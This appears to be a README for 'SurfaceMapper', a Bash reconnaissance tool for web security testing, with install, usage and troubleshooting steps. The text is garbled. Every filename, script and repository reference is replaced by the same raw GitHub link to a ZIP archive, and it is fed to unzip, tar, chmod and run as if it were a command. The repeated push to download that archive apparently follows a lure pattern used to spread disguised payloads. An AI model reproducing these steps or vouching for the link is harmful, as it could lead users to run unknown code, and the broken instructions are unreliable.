SurfaceMapper is a tool designed to help you find and explore security weaknesses on websites. It uses automated scripts to gather information about a target. This process is known as reconnaissance or "recon" in cybersecurity. The tool is mainly for people interested in finding security issues safely, such as bug bounty hunters, security testers, or anyone learning about web security.
SurfaceMapper runs using simple commands and collects information like open ports, exposed services, and website details automatically. It provides a clear overview of where a website might have weak spots that need fixing.
If you want to check a website's security, SurfaceMapper helps by:
- Running many checks without you having to type each one.
- Collecting important data about a website quickly.
- Showing technical information in an easy way.
- Supporting many common security testing tasks with one tool.
You don’t need to be an expert to use this tool. SurfaceMapper uses scripts written in a language called Bash, which runs on most computers, including Linux and Mac. It can also work on Windows with extra setup.
To use SurfaceMapper, your computer needs to meet these conditions:
- Operating System:
- Linux (Ubuntu, Debian, Fedora, others)
- macOS (latest two versions supported)
- Windows 10 or higher with Windows Subsystem for Linux (WSL) installed
- At least 2 GB of free memory (RAM)
- At least 100 MB of free disk space for the tool and its results
- Internet connection to download the software and updates
SurfaceMapper uses free and open tools installed on your system. These include:
- Bash shell (for command scripts)
- Common network tools like
nmapandcurl - Python 3 may be required for some scans
The README below includes steps for installing these if they are missing.
To install SurfaceMapper, start by downloading the latest version from the official release page:
Visit this page to download:
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
- Click the link above or the big blue button at the top.
- Look for the latest release version (it will have a date and version number).
- Download the ZIP file or tarball ending in
.zip,https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip, or a similar compressed file type. - Save this file somewhere easy to find, like your Desktop or Downloads folder.
Before running SurfaceMapper, make sure your system has the required software.
-
Open a Terminal application.
-
Check
bashis installed by typing:bash --version -
Check
nmapis installed by typing:nmap --version -
If tools are missing, install them using your system’s package manager:
- On Ubuntu or Debian:
sudo apt update sudo apt install bash nmap curl - On Fedora:
sudo dnf install bash nmap curl - On macOS (using Homebrew):
brew install nmap curl
- On Ubuntu or Debian:
SurfaceMapper uses Bash scripts that do not run natively on Windows Command Prompt. You need to install Windows Subsystem for Linux (WSL) and a Linux distribution such as Ubuntu.
-
Open PowerShell as an administrator.
-
Run the following to enable WSL:
wsl --install -
Restart your computer if prompted.
-
After reboot, open the Microsoft Store and install Ubuntu.
-
Open your new Ubuntu terminal and follow the Linux instructions above to install needed tools.
-
Locate the ZIP or tar file you downloaded.
-
Right-click and select “Extract All” or use a command:
- For ZIP files on Linux/macOS:
unzip https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip - For tarballs:
tar -xvzf https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
- For ZIP files on Linux/macOS:
-
The extracted folder will contain the SurfaceMapper program files.
-
Open your Terminal or WSL terminal.
-
Change directory to where SurfaceMapper was extracted:
cd /path/to/SurfaceMapper -
Make the main script executable:
chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip -
Run the script by typing:
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
SurfaceMapper will start running automated scans to gather information about your target.
SurfaceMapper works by running commands that scan or ask questions about websites and networks. The script guides you through choosing what you want to check. It will ask for the website address or network IP.
Example:
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
Then enter the domain or IP when prompted.
SurfaceMapper gathers information such as:
- Open ports on the target computer or server
- Services running on those ports (like web servers, databases)
- Website information and header details
- Subdomains and related web addresses
- Known security issues or vulnerabilities
All of this is saved in files or shown in the Terminal output so you can review it.
SurfaceMapper includes several useful functions:
- Automated port scanning using
nmap - Subdomain discovery and enumeration
- HTTP header inspection
- Quick vulnerability checks from common sources
- Bash script configuration for easy updates
- Output reports in simple text files
The tool lets you customize scans if you have more experience.
- Make sure you have permission to test the website or network.
- Use SurfaceMapper only on your own systems or with explicit approval.
- Run the tool in a Terminal window with a stable internet connection.
- Save results regularly to avoid losing data.
- Read through the output carefully to understand the findings.
- Keep the tool updated by downloading new releases from the release page.
Problem: "Permission denied" when running the script
Fix by setting execute permission:
chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
Problem: Command nmap not found
Install nmap as shown in the installation steps.
Problem: Script does not start
Check you are in the correct folder and typed the command exactly.
SurfaceMapper is open source. You can share, change, and improve the scripts. For details, check the LICENSE file in the download.
If you want to suggest improvements or report problems, please open an issue on the GitHub repository page.
Find updates, documentation, and community discussions on SurfaceMapper in the GitHub repository:
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip